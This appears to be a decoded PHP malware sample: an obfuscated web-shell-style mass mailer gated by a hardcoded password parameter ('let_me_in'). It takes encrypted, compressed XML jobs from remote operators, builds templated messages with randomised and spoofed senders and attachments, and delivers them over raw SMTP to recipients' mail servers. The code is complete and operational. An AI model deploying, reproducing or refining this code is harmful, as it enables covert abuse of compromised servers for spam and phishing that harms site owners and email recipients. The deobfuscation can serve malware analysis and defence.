PHP Decode

<?php
$x35 = "ar\x72\141\171\x5fr\x61\156\144";
$x36 = "\141\x72r\141y\x5fk\145y\137exi\163\164s";
$x37 = "ar\x72\141y\137k\x65\171s";
$x38 = "b\x61\x73\14564_\145\x6e\x63o\144\145";
$x39 = "ba\163\1456\x34\x5f\144\145c\157de";
$x3a = "\x63\150\165n\x6b_\x73\x70\x6ci\164";
$x3b = "\143\157un\x74";
$x3c = "\144\141\164\x65";
$x3d = "d\156s_\147\x65t\x5fr\x65\143\157\x72\x64";
$x3e = "e\x78p\154o\144\x65";
$x3f = "\x66cl\x6fs\x65";
$x40 = "f\x67\145t\163";
$x41 = "\146\163\x6f\143\x6b\157\160\145n";
$x42 = "\146\x77ri\x74\145";
$x43 = "\147\x65\x74\150\157\x73\164\142y\156ame";
$x44 = "g\155m\153t\151me";
$x45 = "\147\x7a\143o\x6d\160\162\x65ss";
$x46 = "g\x7a\165\156c\157mp\162\x65ss";
$x47 = "\x69m\x70\154\x6fd\x65";
$x48 = "\155\x61\151\x6c";
$x49 = "m\x63\x72\x79p\x74_\x63r\145\141\164\x65_i\166";
$x4a = "\155\x63\162ypt_\x65n\x63\x72\x79\160t";
$x4b = "\155\143r\171\160\164_\x64\x65\x63\162\171pt";
$x4c = "\155crypt\x5f\147\x65t\137i\x76\137s\x69\172e";
$x4d = "md5";
$x4e = "\x6d\153\164i\x6de";
$x4f = "\x70a\x72\163e_\165rl";
$x50 = "ph\160_\x75\x6e\141\x6d\145";
$x51 = "\x70hpv\145\162\163\151\157n";
$x52 = "\x70r\145g\x5fma\x74\143\x68_a\154l";
$x53 = "\160\x72e\147\x5f\162\145\160l\141\x63e";
$x54 = "\160\162\x65\147\137\161uote";
$x55 = "\160\x72\x65g\x5fm\x61\x74\143h";
$x56 = "r\141\x6e\x64";
$x57 = "s\x65\164\137\164\151m\x65\x5fl\x69\x6dit";
$x58 = "si\x6d\160\x6c\x65\x78\155\154\137\x6coa\144\137s\164\x72\151\x6e\x67";
$x59 = "\x73\164\162i\163t\162";
$x5a = "\x73\x74\x72\x6c\145\156";
$x5b = "\x73\164r\145\x61\x6d\137\163\145\x74\x5f\164i\155\x65ou\164";
$x5c = "s\164rn\143\x61\163ecm\160";
$x5d = "\163\165\x62\163t\162";
$x5e = "\163t\162\163\x74\x72";
$x5f = "\x74i\155e";
$x60 = "\x74r\x69m";
$x61 = "\x75n\151q\151d";
error_reporting(0);
$x0b = $x4e();
if ($_REQUEST['access'] != 'let_me_in') {
    die("\147\157\x6f\144");
}
if ($_REQUEST['do'] == 'check') {
    $x0c = array(
        'os' => $x50(),
        'php' => $x51()
    );
    echo json_encode($x0c);
}
if ($_REQUEST['dns']) {
    echo json_encode($x3d($_REQUEST['dns']));
}
if ($_REQUEST['do'] == 'phpinfo') {
    echo json_encode(parse_phpinfo());
}
if ($_REQUEST['data']) {
    $x0d = new Email;
    $x0d->x0b($_REQUEST['data']);
    echo $x0d->x12();
}
class Email
{
    private $x0e = array();
    private $x0f = array();
    private $x10;
    private $x11;
    private $x12 = array();
    function x0b($x13)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        $this->message  = $x58($this->x17($x13));
        $this->boundary = '--' . $x4d($x61($x5f()));
        $this->type     = $this->message->template['type'] == 'html' ? 'text/html' : 'text/plain';
        if (!empty($this->message->macros)) {
            foreach ($this->message->macros->macro as $x14) {
                $x15                = (string) $x14['name'];
                $this->macros[$x15] = array();
                foreach ($x14->item as $x16) {
                    $this->macros[$x15][] = (string) $x16;
                }
            }
        }
        foreach ($this->message->recipients->emails as $x17) {
            foreach ($x17->email as $x0d) {
                $this->recipients[(string) $x17['domain']]['emails'][(int) $x0d['id']] = (string) $x0d;
            }
            $this->recipients[(string) $x17['domain']]['mx']     = (string) $x17['mx'];
            $this->recipients[(string) $x17['domain']]['mx_url'] = (string) $x17['mx_url'];
            $this->recipients[(string) $x17['domain']]['from']   = (string) $x17['from'];
        }
        foreach (new SimpleXMLElement($this->message->settings->asXML(), LIBXML_NOCDATA) as $x18 => $x17) {
            $x18 = (string) $x17;
            if ($x59($x17['value'], ',')) {
                $this->settings->$x18 = (string) $x17['value'];
            } else {
                $this->settings->$x18 = (int) $x17['value'];
            }
        }
    }
    function x0c($x19)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        if ($x52("\174\173\x28.*)}|\125", $x19, $x1a)) {
            foreach ($x1a[1] as $x14) {
                $x1b = $this->x0d($x14);
                if ($x1b['type'] == 'let') {
                    $x1c = $this->x0f($x1b['name']);
                } else {
                    if ($x1b['type'] == 'pipe') {
                        $x1c = $this->x10($x1b['name']);
                    } else {
                        $x1c = $this->x0e($x1b['name']);
                    }
                }
                $x1d = !empty($x1c) ? $x1c[$x35($x1c)] : '[' . $x1b['name'] . ']';
                if ($x1b['type'] == 'let')
                    $x1b['name'] = 'LET:' . $x1b['name'];
                if ($x1b['type'] == 'unique')
                    $x1b['name'] = '$' . $x1b['name'];
                if ($x1b['type'] == 'static')
                    $x1b['name'] = '_' . $x1b['name'];
                $x19 = $x53('/{' . $x54($x1b['name'], '/') . '}/is', $x1d, $x19, 1);
            }
            return $this->x0c($x19);
        } else {
            return $x19;
        }
    }
    function x0d($x0e)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        $x13 = array();
        if (!$x5c($x0e, 'LET:', 4)) {
            $x13['type'] = 'let';
            $x13['name'] = $x5d($x0e, 4);
        } elseif ($x59($x0e, '|')) {
            $x13['type'] = 'pipe';
            $x13['name'] = $x0e;
        } elseif ($x0e[0] == '_') {
            $x13['type'] = 'static';
            $x13['name'] = $x5d($x0e, 1);
        } elseif ($x0e[0] == '$') {
            $x13['type'] = 'unique';
            $x13['name'] = $x5d($x0e, 1);
        } else {
            $x13['type'] = 'dynamic';
            $x13['name'] = $x0e;
        }
        return $x13;
    }
    function x0e($x15)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        if ($x36($x15, $this->macros)) {
            return $this->macros[$x15];
        } elseif ($x15 == 'LINEDATE') {
            return array(
                $x3c('Y-m-d H:i:s')
            );
        } elseif ($x15 == 'MAIL_TO') {
            return array(
                $this->post->to
            );
        } elseif ($x15 == 'MAILTO_DOMAIN') {
            $x1e = $x5e($this->post->to, '@');
            return array(
                $x5d($x1e, 1)
            );
        } elseif ($x55('/^DIGIT\[(((\d+)-(\d+))|(\d+))\]$/', $x15, $x1f)) {
            if (isset($x1f[5])) {
                $x20 = $x21 = $x1f[5];
            } else {
                $x20 = $x1f[3];
                $x21 = $x1f[4];
            }
            return array(
                $this->x11('number', $x20, $x21)
            );
        } elseif ($x55('/^SYMBOL\[(((\d+)-(\d+))|(\d+))\]$/', $x15, $x1f)) {
            if (isset($x1f[5])) {
                $x20 = $x21 = $x1f[5];
            } else {
                $x20 = $x1f[3];
                $x21 = $x1f[4];
            }
            return array(
                $this->x11('string', $x20, $x21)
            );
        } else
            return array();
    }
    function x0f($x22)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        return $x3e(',', $x22);
    }
    function x10($x22)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        return $x3e('|', $x22);
    }
    function x11($x11, $x23, $x24)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        $x25 = '';
        if ($x11 == 'string')
            $x25 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        if ($x11 == 'number')
            $x25 = '0123456789';
        $x26 = $x56($x23, $x24);
        $x27 = '';
        for ($x28 = 0; $x28 < $x26; $x28++) {
            $x27 .= $x25[$x56(0, $x5a($x25) - 1)];
        }
        return $x27;
    }
    function x12()
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        $x57(($this->settings->server_wtime - 5));
        $this->response = array();
        foreach ($this->recipients as $x18 => $x17) {
            $x1e                = $x3e("\x40", end($x17['emails']));
            $x1e                = $x1e[1];
            $this->post->mx     = $x17['mx'];
            $this->post->mx_url = $x17['mx_url'];
            if ($x17['mx'] == 'determine') {
                $x29 = $x3d($x1e, DNS_MX);
                if ($x29) {
                    $this->post->mx     = $x29[0]['target'];
                    $this->post->mx_url = 'smtp://' . $x43($x29[0]['target']);
                }
            }
            $this->response[$x18]['status']   = NULL;
            $this->response[$x18]['ids']      = $x47(',', $x37($x17['emails']));
            $this->response[$x18]['cnt']      = $x3b($x17['emails']);
            $this->response[$x18]['queue_id'] = NULL;
            $this->response[$x18]['domain']   = $x1e;
            $this->response[$x18]['mx']       = $x17['mx'];
            $this->response[$x18]['mx_url']   = NULL;
            $this->response[$x18]['smtp']     = NULL;
            $this->response[$x18]['curl']     = NULL;
            if (!$this->post->mx || $this->post->mx == 'determine') {
                $this->response[$x18]['status'] = 'dns';
                continue;
            }
            $this->post->mx_ip              = $x4f($this->post->mx_url);
            $this->post->mx_ip              = $this->post->mx_ip['host'];
            $this->response[$x18]['mx']     = $this->post->mx;
            $this->response[$x18]['mx_url'] = $this->post->mx_url;
            $this->post->from               = $this->x0c((string) $this->message->template->email);
            if ($x17['from']) {
                $this->post->from = $x5d($x4d($x56()), 0, 7) . "@" . $x17['from'];
            }
            $this->post->to       = $x47(",", $x17['emails']);
            $this->post->name     = $this->x0c((string) $this->message->template->sender);
            $this->post->subject  = '=?utf-8?B?' . $x38($this->x0c((string) $this->message->template->subject)) . '?=';
            $this->post->type     = $this->message->template['type'] == 'html' ? 'text/html' : 'text/plain';
            $this->post->text     = $this->x0c((string) $this->message->template->body);
            $this->smtp->boundary = '--' . $x4d($x61($x5f()));
            $this->smtp->headers  = "\x46r\x6fm\072\040\075?\165\164\146-\070\x3f\102\077" . $x38($this->post->name) . "\077\x3d\040\x3c" . $this->post->from . ">" . PHP_EOL;
            $this->smtp->headers .= "S\x75bje\143\164:\x20" . $this->post->subject . PHP_EOL;
            $this->smtp->headers .= "M\111M\x45\055\x56\145\x72\x73\x69\157\x6e\x3a\0401\x2e0" . PHP_EOL;
            if (empty($this->message->attaches)) {
                $this->smtp->headers .= "C\157\156t\145\x6e\x74\x2d\124y\160\x65:\x20" . $this->post->type . "\073\x20\143\150\x61\x72s\145\164\075\125\x54\106-\070;" . PHP_EOL;
                $this->smtp->body = PHP_EOL . $this->post->text . PHP_EOL;
            } else {
                $this->smtp->headers .= 'Content-Type: multipart/mixed; boundary="' . $this->smtp->boundary . '"' . PHP_EOL;
                $this->smtp->headers .= PHP_EOL . "--" . $this->smtp->boundary . PHP_EOL;
                $this->smtp->headers .= "\x43\157n\164ent\x2d\x54\x79\x70\145\x3a\040" . $this->post->type . "\x3b\040\x63h\x61rs\x65\164=UTF\0558\x3b" . PHP_EOL;
                $this->smtp->body = PHP_EOL . $this->post->text . PHP_EOL;
                foreach (new SimpleXMLElement($this->message->attaches->asXML(), LIBXML_NOCDATA) as $x2a) {
                    $this->smtp->body .= PHP_EOL . "\055-" . $this->smtp->boundary . PHP_EOL;
                    $this->smtp->body .= "\x43ont\x65n\x74\055\x54yp\x65\072\x20" . $x2a->mime . '; name="' . $this->x0c((string) $x2a->name) . '"' . PHP_EOL;
                    $this->smtp->body .= "\x43o\156t\145\x6et-\124ra\x6e\x73f\145\162-\105\x6e\143o\x64\151ng: \x62\x61\163e\x364" . PHP_EOL;
                    $this->smtp->body .= PHP_EOL . $x3a($x2a->file) . PHP_EOL;
                }
            }
            if ($this->post->mx == 'localhost') {
                $x2b = $x48($this->post->to, $this->post->subject, $this->smtp->body, $this->smtp->headers, '-f ' . $this->post->from);
                if ($x2b) {
                    $this->response[$x18]['status'] = 'ok';
                } else {
                    $this->reply     = $this->x13();
                    $this->smtp_errs = array();
                    foreach ($x3e(',', $this->settings->smtp_errors) as $x2c) {
                        $x52('#< (' . $x2c . ') (.*)#', $this->reply, $x1a, PREG_SET_ORDER);
                        if ($x1a[0][1]) {
                            $this->smtp_errs[] = array(
                                'code' => $x60($x1a[0][1]),
                                'mess' => $x60($x1a[0][2])
                            );
                        }
                    }
                    $x52('#queued as (.*)#', $this->reply, $x1a);
                    $this->queue_id                   = $x60($x1a[1][0]);
                    $this->response[$x18]['queue_id'] = $this->queue_id;
                    if (!$this->smtp_errs && $this->reply) {
                        $this->response[$x18]['status'] = 'ok';
                    } else {
                        if ($this->smtp_errs) {
                            $this->response[$x18]['status'] = 'smtp';
                            $this->response[$x18]['smtp']   = $this->smtp_errs;
                        } else {
                            $this->response[$x18]['status'] = 'curl';
                        }
                    }
                }
            } else {
                $this->reply     = $this->x13();
                $this->smtp_errs = array();
                foreach ($x3e(',', $this->settings->smtp_errors) as $x2c) {
                    $x52('#< (' . $x2c . ') (.*)#', $this->reply, $x1a, PREG_SET_ORDER);
                    if ($x1a[0][1]) {
                        $this->smtp_errs[] = array(
                            'code' => $x60($x1a[0][1]),
                            'mess' => $x60($x1a[0][2])
                        );
                    }
                }
                $x52('#queued as (.*)#', $this->reply, $x1a);
                $this->queue_id                   = $x60($x1a[1][0]);
                $this->response[$x18]['queue_id'] = $this->queue_id;
                if (!$this->smtp_errs && $this->reply) {
                    $this->response[$x18]['status'] = 'ok';
                } else {
                    if ($this->smtp_errs) {
                        $this->response[$x18]['status'] = 'smtp';
                        $this->response[$x18]['smtp']   = $this->smtp_errs;
                    } else {
                        $this->response[$x18]['status'] = 'curl';
                    }
                }
            }
        }
        return $this->x16(json_encode($this->response));
    }
    function x13()
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        $this->smtp->headers .= $this->smtp->body;
        $x2d = $x41($this->post->mx_ip, 25, $x2e, $x2f, $this->settings->server_mx_ctime);
        if ($x2e) {
            return false;
        } else {
            $x5b($x2d, $this->settings->server_mx_ctime);
            $x30 .= "\x3c\040" . $x40($x2d);
            $x42($x2d, "\110\105\x4c\x4f\x20" . $this->post->mx . "\r\n");
            $x30 .= "\074 " . $x40($x2d);
            $x42($x2d, "\x4d\x41I\x4c\x20\x46\x52\x4f\x4d\072\x3c" . $this->post->from . "\x3e\r\n");
            $x30 .= "\074\x20" . $x40($x2d);
            $x31 = $x3e(',', $this->post->to);
            foreach ($x31 as $x17) {
                $x42($x2d, "\122\103\120\124\x20\124\x4f\x3a\074" . $x17 . "\076\r\n");
                $x30 .= "<\x20" . $x40($x2d);
            }
            $x42($x2d, "DA\x54A" . "\r\n");
            $x30 .= "< " . $x40($x2d);
            $x32 = '';
            foreach ($x3e("\n", $this->smtp->headers) as $x17) {
                $x32 .= $x17 . "\r\n";
            }
            $x42($x2d, $x32 . "\r\n");
            $x42($x2d, "\r\n" . "\056" . "\r\n");
            $x30 .= "\074\040" . $x40($x2d);
            $x42($x2d, "\x51\125\111T" . "\r\n");
            $x30 .= "\x3c " . $x40($x2d);
            $x3f($x2d);
            if (!$x52('#< 2(.*)#', $x30, $x1a, PREG_SET_ORDER)) {
                return false;
            }
            return $x30;
        }
    }
    function x14()
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        return $x3c('d.m.Y', $x44());
    }
    function x15()
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        return $x49($x4c(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND);
    }
    function x16($x13)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        if (!$x13) {
            return;
        }
        $x13 = $x45($x13);
        $x33 = $x4a(MCRYPT_BLOWFISH, $this->x14(), $x13, MCRYPT_MODE_ECB, $this->x15());
        return $x38($x33);
    }
    function x17($x13)
    {
        global $x35, $x36, $x37, $x38, $x39, $x3a, $x3b, $x3c, $x3d, $x3e, $x3f, $x40, $x41, $x42, $x43, $x44, $x45, $x46, $x47, $x48, $x49, $x4a, $x4b, $x4c, $x4d, $x4e, $x4f, $x50, $x51, $x52, $x53, $x54, $x55, $x56, $x57, $x58, $x59, $x5a, $x5b, $x5c, $x5d, $x5e, $x5f, $x60, $x61;
        if (!$x13) {
            return;
        }
        $x13 = $x39($x13);
        $x34 = $x4b(MCRYPT_BLOWFISH, $this->x14(), $x13, MCRYPT_MODE_ECB, $this->x15());
        $x33 = $x46($x34);
        return $x33;
    }
}
?>